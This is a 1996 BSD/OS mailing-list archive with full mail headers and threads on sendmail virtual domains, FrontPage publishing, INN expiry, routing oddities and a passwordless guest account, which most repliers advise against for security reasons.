reformatted as a database. # Use the following command # /usr/sbin/makemap btree /etc/virtual < /etc/virtual.txt costcutter@lands.ab.ca hogwild@ls.barrhead.ab.ca lands.ab.ca lcroteau The type issued the command /usr/sbin/makemap btree /etc/virtual < /etc/virtual.txt I then edited my sendmail.cf with the following additions. # Declare virtual.db as a btree-lookup database Kvirtual btree /etc/virtual.db # I added the following on 96 Nov 17 to support virtual E-mail R$+ < @ $+ . > $: $1 < @ $2 > . R$+ < @ $+ > $* $: $(virtual $1@$2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > $* $: $(virtual $2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > . $: $1 < @ $2 . > I also entered the domain name in the sendmail.cw file. \\\|/// \\ - - // ( @ @ ) +------------------------------------------oOOo-(_)-oOOo--------------------+ * Luc Croteau | If one advances confidently in the direction of his * * President | dreams and endevors to live the life which he has * * Lands Systems Ltd.| imagined, he will meet with a success unexpected in * * Barrhead, Alberta | common hours. - Henry David THOREAU * * Canada T7N 1N1 | Internet address: lcroteau@ls.barrhead.ab.ca * +--------------------------------------------------Oooo---------------------+ oooO ( ) ( ) ) / \ ( (_/ \_) From VM Fri Nov 22 07:18:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["5462" "Fri" "22" "November" "1996" "11:06:28" "+1100" "Timothy L. Minahan" "webby@is-1.net.au" nil "120" "RE: From Front Page to Apache Publishing" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA24885 for ; Thu, 21 Nov 1996 19:11:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA24090 for bsdi-users-outgoing; Thu, 21 Nov 1996 19:07:40 -0500 (EST) Message-Id: <199611220004.LAA03618@server.is-1.net.au> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01BBD865.35B56F00" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Timothy L. Minahan" Sender: owner-bsdi-users@lists.gateway.com To: Subject: RE: From Front Page to Apache Publishing Date: Fri, 22 Nov 1996 11:06:28 +1100 This is a multi-part message in MIME format. ------=_NextPart_000_01BBD865.35B56F00 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit ---------- > From: Orlando Alberto Furlan Artiga > To: bsdi-users@BSDI.COM > Subject: From Front Page to Apache Publishing > Date: Thursday, 21 November 1996 10:09 AM > > Hi ! > > I would like to know what are the changes I need to make in order to > publish from Front Page to Apache in both the server and the client ? > > Is possible www.name.dom/~user edit your own pages with this method ? > > Thanks for this help in advance, > > Greetings from Nicaragua, > -- > / \ > // \\ > /// \\\ > /// \\\ > \\\ ||||| /// Orlando Furlan > \\\\ \-/ //// IBW Communications > \\\\ \-/ //// mailto:furlan@ibw.com.ni > \\\\\\-////// > \\\\\-///// > \\\-/// > \-/ > \-/ > - > | Currently we have installed the Front Page extensions for BSDI. This allowed us to create the main pages and our major customers pages interactively using Front Page. However we arent able to yet include /usr/home/username/public_html user created pages. To use Front Page and these pages we created the pages locally then ftp them into the user accounts. Most of the Bots work except so far for the Search bot. Any further comments on this would be greatly accepted. ---------------------------------------------------------------------------- -------------------------------------- Timothy L. Minahan - webmaster@is-1.net.au Blacktown Net Masters - http://www.is-1.net.au/webmaster IS-1 Internet Service Provider - http://www.is-1.net.au All opionions expressed or implied are purely my own ------=_NextPart_000_01BBD865.35B56F00 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

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> From: Orlando = Alberto Furlan Artiga <furlan@ibw.com.ni>
> To: bsdi-users@BSDI.COM
> Subject: From Front Page to Apache = Publishing
> Date: Thursday, 21 November 1996 10:09 AM
> =
> Hi !
>
> I would like to know what are the changes = I need to make in order to
> publish from Front Page to Apache in = both the server and the client ?
>
> Is possible = www.name.dom/~user edit your own pages with this method  ?
> =
> Thanks for this help in advance,
>
> Greetings = from Nicaragua,
> --
>      / =         \ =      
>     // =         \\   
> =    /// =         \\\ =     
>   /// =           \\\ =    
>  \\\    ||||| =    ///   Orlando Furlan
> =   \\\\   \-/   ////    IBW = Communications
>    \\\\  \-/  //// =     mailto:furlan@ibw.com.ni
>     \\\\\\-////// =      
> =      \\\\\-/////   
> =        \\\-/// =     
> =          \-/ =       
> =          \-/ =       
> =           - =        
> =           |

Curr= ently we have installed the Front Page extensions for BSDI.  This = allowed us to create the main pages and our major customers pages = interactively using Front Page.  However we arent able to yet = include /usr/home/username/public_html user created pages.  To use = Front Page and these pages we created the pages locally then ftp them = into the user accounts.  Most of the Bots work except so far for = the Search bot.

Any further comments on this would be greatly = accepted.

--------------------------------------------------------= ----------------------------------------------------------
Timothy L. = Minahan - webmaster@is-1.net.au
Blacktown Net Masters - http://www.is-1.net.au/webmaster
IS-1 Internet Service Provider - http://www.is-1.net.au

All opionions expressed or implied are purely = my own


------=_NextPart_000_01BBD865.35B56F00-- From VM Fri Nov 22 07:18:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["255" "Wed" "18" "September" "1996" "19:12:12" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "8" "Thanks to all" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA24889 for ; Thu, 21 Nov 1996 19:12:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA24107 for bsdi-users-outgoing; Thu, 21 Nov 1996 19:10:40 -0500 (EST) Message-ID: <32408FDC.7CDC@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Thanks to all Date: Wed, 18 Sep 1996 19:12:12 -0500 Hey, my thanks to all who replied about the ttys & gettytab com2 modem problems. solved the problem, it was the line in remote that read tty01:dv=/dev/tty01:br#9600: I was setting gettytab to t19200, but was missing changeing the line in remote. Thanks. From VM Fri Nov 22 07:18:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["260" "Wed" "18" "September" "1996" "19:08:44" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "8" "guest login" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA24893 for ; Thu, 21 Nov 1996 19:13:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA24108 for bsdi-users-outgoing; Thu, 21 Nov 1996 19:10:43 -0500 (EST) Message-ID: <32408EB5.3A3F@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: guest login Date: Wed, 18 Sep 1996 19:08:44 -0500 I want to create an account so when a "guest" caller logs in using the login name of guest, the password is bypassed and they are directed to a limited directory. This account needs to allow multiple logins under guest. Any one have an idea. Donald Dahlman From VM Fri Nov 22 07:18:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["559" "Thu" "21" "November" "1996" "20:17:49" "-0500" "Sam Brown" "root@ns2.clever.net" nil "20" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA27048 for ; Thu, 21 Nov 1996 20:35:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA24218 for bsdi-users-outgoing; Thu, 21 Nov 1996 20:21:20 -0500 (EST) In-Reply-To: <32408EB5.3A3F@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: guest login Date: Thu, 21 Nov 1996 20:17:49 -0500 (EST) Bad idea. My suggestion, is to not, unless you want your system haqured someday. Its not a question of "IF", but when. We all know there are still holes to be found, and you're setting yourself up for an infestation of lamahs. :) Sam On Wed, 18 Sep 1996, Donald Dahlman wrote: > I want to create an account so when a "guest" caller logs in using > the login name of guest, the password is bypassed and they are > directed to a limited directory. This account needs to allow > multiple logins under guest. > Any one have an idea. > > Donald Dahlman > From VM Fri Nov 22 07:18:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["537" "Thu" "21" "November" "1996" "21:16:26" "-0500" "David Miller" "david@sparks.net" nil "20" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28440 for ; Thu, 21 Nov 1996 21:21:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA24340 for bsdi-users-outgoing; Thu, 21 Nov 1996 21:16:31 -0500 (EST) In-Reply-To: <9611202335.AA29587@mirage> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Miller Sender: owner-bsdi-users@lists.gateway.com To: mirage!bsd@uucp-1.csn.net cc: jeffreyc@ug.cs.dal.ca, bsdi-users@lists.gateway.com Subject: Re: SCO Emulation Date: Thu, 21 Nov 1996 21:16:26 -0500 (EST) On Wed, 20 Nov 1996 mirage!bsd@uucp-1.csn.net wrote: > JEFFREY ANDREW CAMPBELL writes: > > > > Has anyone out there had any experience (or preferably extensive > > experience) using a BSD/OS box to support legacy SCO apps under the SCO > > emulation support? > > > > I have used it to support the SCO version of WP-5.1, no problem. Text or X version? ---David ---------------------------------------------------------------------------- It's *amazing* what one can accomplish when one doesn't know what one can't do! From VM Fri Nov 22 07:18:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["981" "Thu" "21" "November" "1996" "21:06:55" "-0500" "David Miller" "david@sparks.net" nil "24" "Re: Inn: articles no longer in history file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28445 for ; Thu, 21 Nov 1996 21:21:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA24354 for bsdi-users-outgoing; Thu, 21 Nov 1996 21:20:22 -0500 (EST) In-Reply-To: <199611210630.HAA25188@emma.isdnet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Miller Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Inn: articles no longer in history file Date: Thu, 21 Nov 1996 21:06:55 -0500 (EST) On Thu, 21 Nov 1996 david@isdnet.net wrote: > I have a small problem with INN 1.4, on BSDI 2.1. > > I have articles which are no longer referenced in the history file. > So, It seems that prevents those articles being expired (and I have 40 000 > articles in misc.jobs.offered). > > How can I correct this , either by adding the lines in the history file, > or by deleting the articles which message-id is not in history ? Findmissing, kindly attached by another poster from the ISC will create a list of the missing files. You can feed that into fastrm to simply remove them, which is probably what you want to do. You can also dig up a copy of "addmissing" at ftp.math.psu.edu among other places, and add them back into the history file, for later removal by the normal processes:) --- David Miller ---------------------------------------------------------------------------- It's *amazing* what one can accomplish when one doesn't know what one can't do! From VM Fri Nov 22 07:18:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3099" "Thu" "21" "November" "1996" "21:23:46" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "74" "Re: Virtual sendmail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28449 for ; Thu, 21 Nov 1996 21:22:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA24364 for bsdi-users-outgoing; Thu, 21 Nov 1996 21:24:05 -0500 (EST) Message-Id: <199611220223.VAA08613@user2.mnsinc.com> In-Reply-To: <1.5.4.32.19961121235245.006ab29c@ls.barrhead.ab.ca> from "Luc Croteau" at Nov 21, 96 04:52:45 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: lcroteau@ls.barrhead.ab.ca (Luc Croteau) Cc: bsdi-users@BSDI.COM Subject: Re: Virtual sendmail Date: Thu, 21 Nov 1996 21:23:46 -0500 (EST) > > The prize for the right answer is,for real, a can of REAL canadian maple > syrup and I will even pay for shipping, directly from snowland. > > I am running BSDI 2.1 with sendmail 8.8.3. I tried 8.8.3 with the patches > from BSDI as well as recompiling a new one from ftp.cc.berkeley.edu > > The machine I am using is main.ls.barrhead.ab.ca (real domain) the virtual > domain name is lands.ab.ca > > If I telnet to lands.ab.ca 25 (virtual domain) I get sendmail answering (on > real domain) so I know that DNS is working properly. > > > Now here is my problem. I can only send E-mail to users that have actual > mailboxes on ls.barrhead.ab.ca (real domain) for instance costcutter has a > mailbox on ls.barrhead.ab.ca if I send email to costcutter@lands.ab.ca then > it goes to costcutter@ls.barrhead.ab.ca which is contrary to the virtual txt > file I created. Sample of configs below. > > Any suggestions would be greatly appreciated and the right answer will > really get a can of REAL canadian maple syrup. > > > I created a file called virtual.txt (copy below) > # I inserted the following comments for information purpose. > # Once this file,s edited, it just needs to be reformatted as a database. > # Use the following command > # /usr/sbin/makemap btree /etc/virtual < /etc/virtual.txt > costcutter@lands.ab.ca hogwild@ls.barrhead.ab.ca > lands.ab.ca lcroteau > > The type issued the command /usr/sbin/makemap btree /etc/virtual < > /etc/virtual.txt > > I then edited my sendmail.cf with the following additions. > > # Declare virtual.db as a btree-lookup database > Kvirtual btree /etc/virtual.db > > # I added the following on 96 Nov 17 to support virtual E-mail > R$+ < @ $+ . > $: $1 < @ $2 > . > R$+ < @ $+ > $* $: $(virtual $1@$2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > $* $: $(virtual $2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > . $: $1 < @ $2 . > > > I also entered the domain name in the sendmail.cw file. That's your problem, take it out of the sendmail.cw file and try it, should work great then. Stephen > \\\|/// > \\ - - // > ( @ @ ) > +------------------------------------------oOOo-(_)-oOOo--------------------+ > * Luc Croteau | If one advances confidently in the direction of his * > * President | dreams and endevors to live the life which he has * > * Lands Systems Ltd.| imagined, he will meet with a success unexpected in * > * Barrhead, Alberta | common hours. - Henry David THOREAU * > * Canada T7N 1N1 | Internet address: lcroteau@ls.barrhead.ab.ca * > +--------------------------------------------------Oooo---------------------+ > oooO ( ) > ( ) ) / > \ ( (_/ > \_) > > > From VM Fri Nov 22 07:18:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1920" "Thu" "21" "November" "1996" "21:22:08" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "56" "Re: From Front Page to Apache Publishing" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA28997 for ; Thu, 21 Nov 1996 21:42:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA24394 for bsdi-users-outgoing; Thu, 21 Nov 1996 21:40:20 -0500 (EST) Message-Id: <199611220222.VAA08572@user2.mnsinc.com> In-Reply-To: <199611220004.LAA03618@server.is-1.net.au> from "Timothy L. Minahan" at Nov 22, 96 11:06:28 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: webby@is-1.net.au (Timothy L. Minahan) Cc: bsdi-users@BSDI.COM Subject: Re: From Front Page to Apache Publishing Date: Thu, 21 Nov 1996 21:22:08 -0500 (EST) > > This is a multi-part message in MIME format. > > ------=_NextPart_000_01BBD865.35B56F00 > Content-Type: text/plain; charset=ISO-8859-1 > Content-Transfer-Encoding: 7bit > > ---------- > > From: Orlando Alberto Furlan Artiga > > To: bsdi-users@BSDI.COM > > Subject: From Front Page to Apache Publishing > > Date: Thursday, 21 November 1996 10:09 AM > > > > Hi ! > > > > I would like to know what are the changes I need to make in order to > > publish from Front Page to Apache in both the server and the client ? > > > > Is possible www.name.dom/~user edit your own pages with this method ? > > > > Thanks for this help in advance, > > > > Greetings from Nicaragua, > > -- > > / \ > > // \\ > > /// \\\ > > /// \\\ > > \\\ ||||| /// Orlando Furlan > > \\\\ \-/ //// IBW Communications > > \\\\ \-/ //// mailto:furlan@ibw.com.ni > > \\\\\\-////// > > \\\\\-///// > > \\\-/// > > \-/ > > \-/ > > - > > | > > Currently we have installed the Front Page extensions for BSDI. This > allowed us to create the main pages and our major customers pages > interactively using Front Page. However we arent able to yet include > /usr/home/username/public_html user created pages. To use Front Page and > these pages we created the pages locally then ftp them into the user > accounts. Most of the Bots work except so far for the Search bot. Did you get it working over a NFS-mounted drive? It kept complaining that it couldn't read the httpd.conf file and the only thing I could think of was that it might be complaining because it can't lock the file as normal because it's an NFS-mounted drive (Where the httpd.conf and web server files are). Anyone have any experiance w/ this? Thanks... Stephen From VM Fri Nov 22 07:18:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3666" "Fri" "22" "November" "1996" "14:33:07" "+1100" "Timothy L. Minahan" "webby@is-1.net.au" nil "86" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA00746 for ; Thu, 21 Nov 1996 22:42:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA24491 for bsdi-users-outgoing; Thu, 21 Nov 1996 22:34:38 -0500 (EST) Message-Id: <199611220330.OAA11616@server.is-1.net.au> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01BBD882.13DB2E20" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Timothy L. Minahan" Sender: owner-bsdi-users@lists.gateway.com To: Subject: Re: guest login Date: Fri, 22 Nov 1996 14:33:07 +1100 This is a multi-part message in MIME format. ------=_NextPart_000_01BBD882.13DB2E20 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I agree with Sam - The only place ive seen this successfully done was with Novell Netware and even then most supervisors REMOVED IT on installation Timothy L. Minahan ---------------------------------------------------------------------------- Timothy L. Minahan - webmaster@is-1.net.au Blacktown Net Masters - http://www.is-1.net.au/webmaster IS-1 Internet Service Provider - http://www.is-1.net.au All opionions expressed or implied are purely my own ---------- > From: Sam Brown > To: Donald Dahlman > Cc: bsdi-users@BSDI.COM > Subject: Re: guest login > Date: Friday, 22 November 1996 12:17 PM > > Bad idea. My suggestion, is to not, unless you want your system haqured > someday. Its not a question of "IF", but when. We all know there are still > holes to be found, and you're setting yourself up for an infestation of > lamahs. :) > > Sam > > > On Wed, 18 Sep 1996, Donald Dahlman wrote: > > > I want to create an account so when a "guest" caller logs in using > > the login name of guest, the password is bypassed and they are > > directed to a limited directory. This account needs to allow > > multiple logins under guest. > > Any one have an idea. > > > > Donald Dahlman > > > ------=_NextPart_000_01BBD882.13DB2E20 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

I agree with Sam - The only place ive = seen this successfully done was with Novell Netware and even then most = supervisors REMOVED IT on installation

Timothy L. = Minahan
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Timothy L. Minahan - webmaster@is-1.net.au
Blacktown Net Masters - http://www.is-1.net.au/webmaster
IS-1 Internet Service Provider - http://www.is-1.net.au

All opionions expressed or implied are purely = my own


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> From: Sam Brown <root@ns2.clever.net>
> To: Donald Dahlman <druid@eoe-magical.org>
> Cc: bsdi-users@BSDI.COM
> Subject: Re: guest login
> Date: = Friday, 22 November 1996 12:17 PM
>
> Bad idea. My = suggestion, is to not, unless you want your system haqured
> = someday. Its not a question of "IF", but when. We all know = there are still
> holes to be found, and you're setting yourself = up for an infestation of
> lamahs. :)
>
> Sam
> =
>
> On Wed, 18 Sep 1996, Donald Dahlman wrote:
> =
> > I want to create an account so when a "guest" = caller logs in using
> > the login name of guest, the password = is bypassed and they are
> > directed to a limited directory. = This account needs to allow
> > multiple logins under = guest.
> > Any one have an idea.
> >
> > = Donald Dahlman
> >
>

------=_NextPart_000_01BBD882.13DB2E20-- From VM Fri Nov 22 07:18:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4027" "Thu" "21" "November" "1996" "21:02:48" "-0700" "Luc Croteau" "lcroteau@ls.barrhead.ab.ca" nil "91" "Re: Virtual sendmail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA01301 for ; Thu, 21 Nov 1996 23:00:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA24536 for bsdi-users-outgoing; Thu, 21 Nov 1996 23:01:24 -0500 (EST) Message-Id: <1.5.4.32.19961122040248.006bfab4@ls.barrhead.ab.ca> X-Sender: lcroteau@ls.barrhead.ab.ca X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Luc Croteau Sender: owner-bsdi-users@lists.gateway.com To: Stephen Frost Cc: bsdi-users@BSDI.COM Subject: Re: Virtual sendmail Date: Thu, 21 Nov 1996 21:02:48 -0700 > > The prize for the right answer is,for real, a can of REAL canadian maple > syrup and I will even pay for shipping, directly from snowland. > > I am running BSDI 2.1 with sendmail 8.8.3. I tried 8.8.3 with the patches > from BSDI as well as recompiling a new one from ftp.cc.berkeley.edu > > The machine I am using is main.ls.barrhead.ab.ca (real domain) the virtual > domain name is lands.ab.ca > > If I telnet to lands.ab.ca 25 (virtual domain) I get sendmail answering (on > real domain) so I know that DNS is working properly. > > > Now here is my problem. I can only send E-mail to users that have actual > mailboxes on ls.barrhead.ab.ca (real domain) for instance costcutter has a > mailbox on ls.barrhead.ab.ca if I send email to costcutter@lands.ab.ca then > it goes to costcutter@ls.barrhead.ab.ca which is contrary to the virtual txt > file I created. Sample of configs below. > > Any suggestions would be greatly appreciated and the right answer will > really get a can of REAL canadian maple syrup. > > > I created a file called virtual.txt (copy below) > # I inserted the following comments for information purpose. > # Once this file,s edited, it just needs to be reformatted as a database. > # Use the following command > # /usr/sbin/makemap btree /etc/virtual < /etc/virtual.txt > costcutter@lands.ab.ca hogwild@ls.barrhead.ab.ca > lands.ab.ca lcroteau > > The type issued the command /usr/sbin/makemap btree /etc/virtual < > /etc/virtual.txt > > I then edited my sendmail.cf with the following additions. > > # Declare virtual.db as a btree-lookup database > Kvirtual btree /etc/virtual.db > > # I added the following on 96 Nov 17 to support virtual E-mail > R$+ < @ $+ . > $: $1 < @ $2 > . > R$+ < @ $+ > $* $: $(virtual $1@$2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > $* $: $(virtual $2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > . $: $1 < @ $2 . > > > I also entered the domain name in the sendmail.cw file. That's your problem, take it out of the sendmail.cw file and try it, should work great then. Stephen > \\\|/// > \\ - - // > ( @ @ ) > +------------------------------------------oOOo-(_)-oOOo--------------------+ > * Luc Croteau | If one advances confidently in the direction of his * > * President | dreams and endevors to live the life which he has * > * Lands Systems Ltd.| imagined, he will meet with a success unexpected in * > * Barrhead, Alberta | common hours. - Henry David THOREAU * > * Canada T7N 1N1 | Internet address: lcroteau@ls.barrhead.ab.ca * > +--------------------------------------------------Oooo---------------------+ > oooO ( ) > ( ) ) / > \ ( (_/ > \_) > > > \\\|/// \\ - - // ( @ @ ) +------------------------------------------oOOo-(_)-oOOo--------------------+ * Luc Croteau | If one advances confidently in the direction of his * * President | dreams and endevors to live the life which he has * * Lands Systems Ltd.| imagined, he will meet with a success unexpected in * * Barrhead, Alberta | common hours. - Henry David THOREAU * * Canada T7N 1N1 | Internet address: lcroteau@ls.barrhead.ab.ca * +--------------------------------------------------Oooo---------------------+ oooO ( ) ( ) ) / \ ( (_/ \_) From VM Fri Nov 22 07:18:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["767" "Thu" "21" "November" "1996" "18:04:14" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "27" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA01313 for ; Thu, 21 Nov 1996 23:02:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA24542 for bsdi-users-outgoing; Thu, 21 Nov 1996 23:04:15 -0500 (EST) In-Reply-To: <32408EB5.3A3F@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: guest login Date: Thu, 21 Nov 1996 18:04:14 -1000 (HST) On Wed, 18 Sep 1996, Donald Dahlman wrote: > I want to create an account so when a "guest" caller logs in using > the login name of guest, the password is bypassed and they are > directed to a limited directory. This account needs to allow > multiple logins under guest. > Any one have an idea. adduser guest then vipw and take out the password, and change shell to the limited shell you setup. No problemo! Well, there is a problem. This allows hackers to utilize the account to run any exploits that exist or may exist in the future, unless your limited directory/shell is REALLY secure...I would think twice about setting something like this up unless it's on it's own server so it won't affect the rest of your system. -- Aloha from Paradise, Sherwood From VM Fri Nov 22 07:18:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["432" "Fri" "22" "November" "1996" "00:46:38" "+0100" "david@isdnet.net" "david@isdnet.net" nil "15" "Re: Inn: articles no longer in history file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA01873 for ; Thu, 21 Nov 1996 23:29:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA24610 for bsdi-users-outgoing; Thu, 21 Nov 1996 23:25:20 -0500 (EST) Message-Id: <199611212346.AAA27936@emma.isdnet.net> In-Reply-To: <199611212139.WAA16005@velo.pp.vix.com> from "James A. Brister" at Nov 21, 96 10:39:32 pm X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Inn: articles no longer in history file Date: Fri, 22 Nov 1996 00:46:38 +0100 (MET) Thanks to all of you who answered about my INN problem. (Wonder if this could be a common problem...) Well thanks to the others too for being here :) BTW, I know that I am not on the INN Mailing-list, but I'd like to have BSD/OS users' opinion : would I have to upgrade to 1.4unoff4 ? Regards. -- -- David Ponzone - ISDnet - Network Administrator -- Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Fri Nov 22 07:18:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["922" "Thu" "21" "November" "1996" "18:17:52" "-0800" "Greg Shenaut" "greg@mailgate.bogs.org" nil "24" "Re: Bogus route? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA01878 for ; Thu, 21 Nov 1996 23:29:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA24616 for bsdi-users-outgoing; Thu, 21 Nov 1996 23:25:34 -0500 (EST) Message-Id: <199611220217.SAA09294@myrtle.bogs.org> In-reply-to: Your message of "Thu, 21 Nov 1996 16:22:06 EST." Reply-To: gkshenaut@ucdavis.edu Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Bogus route? Date: Thu, 21 Nov 1996 18:17:52 -0800 In message , David Miller quoth: " This seems strange to me. I have a 2.1 system configured with a netmask " of 255.255.255.224. The IP address is 192.160.1.2 (not really, but you " can take the .2). " " After the system boots I have these routes: " " 192.160.1/27 link#1 UC 0 0 ef0 " 192.160.1 link#1 UC 0 0 ef0 " " I know where the first one is coming from, but how about the second? It " makes it really hard to contact IP's like 192.160.1.33 out on the " portmaster! " " If I "route delete -net 192.160.1" the second route is deleted and " everything works fine. I see the same thing--by any chance, do you use PPP to route between subnets? I do, and the problem seems to be connected somehow to the PPP link going up and down. Anyway, you get an answer, please post it. -Greg From VM Fri Nov 22 07:18:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4086" "" "22" "November" "1996" "06:45:18" 